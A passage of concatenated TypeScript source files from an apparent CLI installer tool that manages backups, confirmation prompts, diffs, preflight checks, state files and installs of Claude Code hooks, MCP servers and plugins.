DURATION_RE.exec(s)\n if (!m) return null\n const n = Number.parseInt(m[1] ?? '0', 10)\n const unit = m[2]\n const ms =\n unit === 'd' ? 86_400_000 : unit === 'h' ? 3_600_000 : unit === 'm' ? 60_000 : 604_800_000\n return n * ms\n}\n\nasync function dirSizeKb(dir: string): Promise<number> {\n let total = 0\n const stack: string[] = [dir]\n while (stack.length > 0) {\n const cur = stack.pop()\n if (!cur) break\n const entries = await readdir(cur, { withFileTypes: true })\n for (const e of entries) {\n const p = join(cur, e.name)\n if (e.isDirectory()) stack.push(p)\n else if (e.isFile()) {\n const st = await stat(p)\n total += st.size\n }\n }\n }\n return Math.round(total / 1024)\n}\n\nexport function registerGc(program: Command): void {\n program\n .command('gc')\n .description(\n 'Garbage-collect old backup snapshots (immediate by default — use --dry-run for preview)',\n )\n .option('--older-than <duration>', 'delete snapshots older than (e.g. 30d / 24h / 4w)', '30d')\n .option('--keep-last <N>', 'always keep the most recent N snapshots', '0')\n .option('--apply', '(deprecated; kept for backward compat — gc deletes immediately by default)')\n .option('--dry-run', 'preview only — do not delete (opt-in for advanced users)')\n .action(async (opts: GcOpts) => {\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const dryRun = opts.dryRun === true\n const olderMs = parseDuration(opts.olderThan ?? '30d')\n if (olderMs == null) {\n console.error(\n `error: invalid --older-than '${opts.olderThan}'\\n` +\n ` fix: use format <N>{d|h|m|w} e.g. 30d / 24h / 60m / 4w`,\n )\n process.exit(1)\n return\n }\n const keepLast = Number.parseInt(opts.keepLast ?? '0', 10)\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(`no backups found (${root} absent) — nothing to gc`)\n return\n }\n const cutoff = Date.now() - olderMs\n // Reverse so most-recent come first; first `keepLast` are protected.\n const kept = new Set(dirs.slice(-keepLast))\n const candidates: Array<{ ts: string; path: string; manifest: string; sizeKb: number }> = []\n for (const ts of dirs) {\n if (kept.has(ts)) continue\n const path = join(root, ts)\n // Backup ID is ISO timestamp with `:` → `-`; reverse to parse.\n const iso = ts.replace(/T(\\d{2})-(\\d{2})-(\\d{2})/, 'T$1:$2:$3')\n const t = Date.parse(iso)\n if (Number.isNaN(t) || t > cutoff) continue\n let manifest = '(unknown)'\n try {\n const meta = JSON.parse(\n await readFile(join(path, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n manifest = meta.manifest\n } catch {\n // metadata missing — still gc by age\n }\n const sizeKb = await dirSizeKb(path)\n candidates.push({ ts, path, manifest, sizeKb })\n }\n if (candidates.length === 0) {\n console.log(`no snapshots older than ${opts.olderThan} (kept ${kept.size} most-recent)`)\n return\n }\n const totalKb = candidates.reduce((a, c) => a + c.sizeKb, 0)\n const verb = dryRun ? 'would delete' : 'deleting'\n console.log(`${verb} ${candidates.length} snapshot(s), ~${totalKb} KB total:`)\n for (const c of candidates) {\n console.log(` ${c.ts} ${c.manifest} (${c.sizeKb} KB)`)\n if (!dryRun) await rm(c.path, { recursive: true, force: true })\n }\n if (dryRun) console.log('\\n(dry-run — re-run without --dry-run to actually delete)')\n })\n}\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n// L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n// L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n// L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n// message MUST mention shared-state side effects on other plugins\n// L4 (system-wide / global npm install) → require explicit `--system`\n// flag at CLI; if missing, refuse without prompt + print educational\n// \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n proceed: boolean\n reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n // L4 — system flag gate, runs first (must short-circuit before any prompt).\n if (level === 'L4' && !ctx.opts.system) {\n if (!ctx.opts.nonInteractive) {\n p.note(\n 'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n 'L4 system-wide install',\n )\n }\n return { proceed: false, reason: 'flag-missing' }\n }\n\n // Non-interactive: skip prompts, decide from --apply.\n if (ctx.opts.nonInteractive) {\n return { proceed: ctx.opts.apply }\n }\n\n if (level === 'L1') {\n p.note('will write project-local files only (safe scope).', 'L1 confirm')\n return { proceed: true }\n }\n\n if (level === 'L2') {\n const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n }\n\n if (level === 'L3') {\n const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n if (first !== true) return { proceed: false }\n\n const second = await p.confirm({\n message:\n 'This affects other plugins (e.g. ~/.claude.json is shared user-scope state). Confirm again?',\n initialValue: false,\n })\n if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: second === true }\n }\n\n // L4 with --system flag → single high-stakes confirm.\n const ans = await p.confirm({\n message: 'System-wide install will modify global PATH. Proceed?',\n initialValue: false,\n })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n if (!pc.isColorSupported) return line\n if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n if (line.startsWith('@@')) return pc.cyan(line)\n return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n stripTrailingCr: true,\n })\n const lines = patch.split('\\n')\n let added = 0\n let removed = 0\n for (const ln of lines) {\n if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n }\n return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n if (plan.files.length === 0) return '(no file changes)\\n'\n\n const out: string[] = []\n let totalAdded = 0\n let totalRemoved = 0\n\n for (const file of plan.files) {\n const { lines, added, removed } = diffOneFile(file)\n totalAdded += added\n totalRemoved += removed\n\n const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n for (const ln of visible) out.push(colorize(ln))\n if (folded) {\n const more = lines.length - FOLD_HEAD\n out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n }\n }\n\n // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n out.push('')\n out.push(pc.bold(summary))\n\n return `${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n// ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n// mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n ctx: InstallContext,\n path: string,\n message: string,\n keyword: string,\n): InstallError {\n return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n// We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n// *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n// that should assume invariants already hold; preflight is the cold path\n// that validates those invariants once per install run, in the same spirit\n// as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n// - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n// (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n// - npm registry reachability probe → phase 2.4 doctor\n// - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n ok: boolean\n errors: InstallError[]\n // Set when ok=false AND a hard-stop reason applies (caller should yield an\n // `aborted` InstallResult instead of a plain `ok:false`).\n abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n const errors: InstallError[] = []\n const filename = ctx.manifest.metadata.name\n const spec = ctx.manifest.spec\n const install = spec.install\n\n // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n // surface; any platforms[] entry outside it is a manifest error caught by\n // schema, but we double-check for robustness.\n const current = process.platform as SupportedPlatform\n if (!spec.platforms.includes(current)) {\n errors.push({\n file: filename,\n path: '/spec/platforms',\n message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n line: null,\n column: null,\n keyword: 'platform-mismatch',\n suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n })\n return { ok: false, errors, abortReason: 'platform-mismatch' }\n }\n\n // 2. git_ref shape sanity (only methods that have it).\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (!GIT_REF_SHAPE.test(install.git_ref)) {\n errors.push({\n file: filename,\n path: '/spec/install/git_ref',\n message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n line: null,\n column: null,\n keyword: 'git-ref-shape',\n suggest:\n 'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n })\n }\n }\n\n // 3. idempotent_check non-empty string (all 6 install methods declare it\n // required in schema, but this guards against a programmatically-built\n // manifest that bypassed validate.ts).\n if (\n typeof install.idempotent_check !== 'string' ||\n install.idempotent_check.trim().length === 0\n ) {\n errors.push({\n file: filename,\n path: '/spec/install/idempotent_check',\n message:\n 'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n line: null,\n column: null,\n keyword: 'idempotent-check-missing',\n suggest:\n 'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n })\n }\n\n return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n// - schema version (so future migrations are explicit)\n// - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { harnessedFile } from './harnessedRoot.js'\n\nexport interface HarnessedStateEntry {\n version: string\n installedAt: string // ISO-8601 timestamp\n manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n version: '1' // schema version of THIS file format; bump on incompatible change\n installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\n// v3.0.3 hotfix — state.json path now homedir-rooted (sister `getBackupRoot()`\n// v2.0.1 + `getHarnessedRoot()` v3.0.3). Pre-v3.0.3 used `<cwd>/.harnessed/`\n// which EPERMs when the user launches harnessed from a read-only directory\n// (Warp default `C:\\Program Files\\Warp\\`). The `cwd` parameter is now ignored\n// for path composition (signature kept for backward-compat with callers like\n// `cli/status.ts` and `npmCli.ts` that still pass `ctx.cwd` or `process.cwd()`).\nfunction statePath(_cwd: string): string {\n return harnessedFile('state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n const path = statePath(cwd)\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n // ENOENT — first install in a fresh project; return default schema.\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n throw err\n }\n // Malformed JSON / wrong schema version is recoverable: log and return\n // default; we choose data loss over crash because state.json is not\n // primary truth (manifests + .harnessed-backup are). Caller may add a\n // doctor warning if installed map is empty but backups exist.\n try {\n const parsed = JSON.parse(raw) as HarnessedState\n if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n return parsed\n } catch {\n return { ...DEFAULT_STATE, installed: {} }\n }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n const path = statePath(cwd)\n const tmp = `${path}.tmp`\n await mkdir(dirname(path), { recursive: true })\n // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n cwd: string,\n name: string,\n version: string,\n manifestSha1: string,\n): Promise<void> {\n const state = await readState(cwd)\n state.installed[name] = {\n version,\n installedAt: new Date().toISOString(),\n manifestSha1,\n }\n await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `dispatch bug: ${install.method}`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n let existing: string | null\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n existing = null\n }\n let settings: Settings\n try {\n settings = JSON.parse(existing ?? '{}') as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/',\n `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n 'settings-json-malformed',\n ),\n }\n }\n settings.hooks = settings.hooks ?? {}\n const ev = install.hook_event\n const matcher = install.hook_matcher\n const cmd = install.hook_command\n settings.hooks[ev] = settings.hooks[ev] ?? []\n if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n }\n settings.hooks[ev].push({ matcher, command: cmd })\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n const plan: DiffPlan = {\n files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n await writeFile(settingsPath, newText)\n\n // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n let verify: Settings\n try {\n verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// v3.0.3 hotfix — fs-based MCP verify (replaces v3.0.2 spawn `claude mcp list`).\n//\n// Problem: v3.0.2 changed `mcpStdioAdd.ts` / `mcpHttpAdd.ts` / `ccPluginMarketplace.ts`\n// verify step from a `claude mcp list | grep -q <name>` shell pipe to a native\n// `spawn('claude', ['mcp', 'list'])` + `stdout.includes(name)` match (sister\n// CHANGELOG v3.0.2 entry). User reports the spawn-based path still fails 3-way\n// on Windows because `claude mcp list` cold-start exceeds the 15s timeout when\n// invoked sequentially after 3 `claude mcp add` calls (warm process pool\n// nearly exhausted; sister Bug 3 v3.0.2 timeout-budgeting issue, but for the\n// VERIFY surface).\n//\n// Crucially: the underlying `claude mcp add --scope user` invocation likely\n// SUCCEEDED — `~/.claude.json` is written before the verify spawn — but the\n// verify spawn timed out and reported `exit -1 or '<name>' not in mcp list\n// stdout: [timeout]` (literal user message). All 3 MCP installers fall in.\n//\n// Solution: skip the spawn entirely. Read `~/.claude.json` directly with\n// `fs.readFile` + `JSON.parse` + check `mcpServers[name]`. The file is the\n// authoritative source of truth (Claude Code reads it on startup); CC's\n// `mcp list` is just a JSON pretty-printer over the same file.\n//\n// Cross-platform: pure Node fs, no shell, no spawn, no timeout risk.\n// Idempotent: file-not-exists → no servers registered → return false (no throw).\n// Robust: malformed JSON → return false (graceful), don't crash the installer.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Path to the user-global Claude Code config file written by `claude mcp add\n * --scope user` and `claude plugin install --scope user`. CC reads this on\n * startup to load the `mcpServers` map + `enabledPlugins` map.\n */\nexport function getUserClaudeJsonPath(): string {\n return join(homedir(), '.claude.json')\n}\n\ninterface UserClaudeJsonShape {\n mcpServers?: Record<string, unknown>\n enabledPlugins?: Record<string, unknown>\n [k: string]: unknown\n}\n\n/**\n * Read `~/.claude.json` and return the parsed object.\n *\n * Returns `{}` only for the two graceful conditions specified in the v3.0.3\n * verify contract:\n * 1. ENOENT — file does not exist yet (first install). Verify should report\n * \"server not registered\" cleanly, not throw.\n * 2. Malformed JSON — the file exists but is corrupt. Verify should report\n * false rather than crash; the caller's error path produces a clearer\n * \"server missing\" message than a bare SyntaxError stack would.\n *\n * Any other read error (EACCES, EISDIR, etc.) is unexpected and re-thrown\n * so the installer surface them as verify-failed with the original cause\n * (no silent swallowing — anti-slop posture per CLAUDE.md karpathy heuristic).\n */\nexport async function readUserClaudeJson(): Promise<UserClaudeJsonShape> {\n const path = getUserClaudeJsonPath()\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') return {}\n throw err\n }\n try {\n const parsed = JSON.parse(raw) as UserClaudeJsonShape\n if (parsed === null || typeof parsed !== 'object') return {}\n return parsed\n } catch {\n // Malformed JSON — explicit graceful return per verify contract.\n return {}\n }\n}\n\n/**\n * Check whether an MCP server is registered in `~/.claude.json`.\n *\n * Used by `mcpStdioAdd.ts` + `mcpHttpAdd.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['mcp', 'list'])` + stdout match.\n *\n * Returns `true` if `mcpServers[name]` exists (any truthy value); `false` if\n * the file is missing, malformed, or the server is not present.\n */\nexport async function isMcpServerRegistered(name: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const servers = config.mcpServers\n if (!servers || typeof servers !== 'object') return false\n return Object.hasOwn(servers, name)\n}\n\n/**\n * Check whether a Claude Code plugin is registered in `~/.claude.json`.\n *\n * Used by `ccPluginMarketplace.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['plugin', 'list', '--json'])` + stdout match.\n *\n * Plugins live under `enabledPlugins` with keys of the form `<plugin>@<marketplace>`;\n * we check by the plain plugin name (left side of the `@`) since the marketplace\n * suffix is install-time metadata and the caller passes only the bare plugin name.\n */\nexport async function isPluginRegistered(pluginName: string): Promise<boolean> {\n const config = await readUserClaudeJson()\n const plugins = config.enabledPlugins\n if (!plugins || typeof plugins !== 'object') return false\n // Try exact key first (defensive — some manifests pass full <name>@<mkt>).\n if (Object.hasOwn(plugins, pluginName)) return true\n // Otherwise scan for any key whose `<name>@<mkt>` prefix matches.\n return Object.keys(plugins).some((k) => k.split('@')[0] === pluginName)\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude` ships as a .cmd shim.\n// Unix spawns the binary directly (no shell) — args remain unparsed. This matches\n// the established cross-OS pattern across all 3 call sites verbatim.\n\nimport { spawn } from 'node:child_process'\n\nexport interface ProcResult {\n exitCode: number\n stderr: string\n}\n\nexport function runArgs(\n claudeArgs: string[],\n cwd: string,\n timeoutMs = 15_000,\n): Promise<ProcResult> {\n return new Promise((resolve) => {\n // Win: route through cmd.exe /c because `claude` ships as a .cmd shim.\n // Unix: spawn the binary directly (no shell) — args remain unparsed.\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'claude', ...claudeArgs], { cwd, windowsHide: true })\n : spawn('claude', claudeArgs, { cwd, shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n }, timeoutMs)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: `${stderr}${e.message}` })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n}\n","// v3.0.2 hotfix — homedir-rooted spawn cwd for MCP / plugin installers.\n//\n// Problem: `claude mcp add --scope project <...>` writes `.mcp.json` to the\n// spawn cwd. When user launches `harnessed setup` from a read-only directory\n// (e.g. PowerShell default CWD `C:\\Windows\\System32`), the write fails with:\n// `EPERM: operation not permitted, rename 'C:\\Windows\\System32\\.mcp.json.tmp...'`\n// blocking all MCP installers (chrome-devtools-mcp / exa-mcp / tavily-mcp).\n//\n// Solution: sister v2.0.1 `getBackupRoot()` (src/installers/lib/backup.ts:32)\n// pattern verbatim — root MCP/plugin spawn cwd at homedir() unconditionally,\n// not at process.cwd(). homedir() is reliably writable on Win/Mac/Linux.\n// User can still see `.mcp.json` in their home and `claude mcp list` works\n// because the registration is keyed by the absolute path Claude Code reads.\n//\n// Why unconditional (no probe + fallback)? Sister v2.0.1 backup-root migration\n// is unconditional — `getBackupRoot()` always returns `~/.harnessed/backups/`,\n// regardless of whether ctx.cwd is writable. Symmetric semantics: harness-\n// owned writes go under the user's home, not transient terminal CWDs.\n\nimport { homedir } from 'node:os'\n\n/**\n * Return the homedir-rooted spawn cwd used by `claude mcp add` /\n * `claude plugin install` so that `.mcp.json` / `.claude/settings.json`\n * writes land in a path the user reliably owns. Unconditional — does NOT\n * fall back to ctx.cwd.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1.\n */\nexport function getMcpSpawnCwd(): string {\n return homedir()\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd v3.0.2 reasoning — write to ~/.claude.json user-global config\n// (CWD-independent) instead of <cwd>/.claude/settings.json (EPERMs in\n// read-only CWD). CC #54803 user-scope-broken bug has been resolved.\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` for `plugin install` step\n// cannot be overridden by manifest fields; the manifest cmd string is\n// informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n// Step 1: `claude plugin marketplace add <url>`\n// Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude plugin list --json` and stdout-matched the plugin\n// name. Same timeout symptom as mcpStdioAdd v3.0.3 (cold-start exceeds 15s\n// after sequential MCP adds). v3.0.3 reads `enabledPlugins` from\n// `~/.claude.json` directly. Sister `readClaudeConfig.isPluginRegistered()`.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from 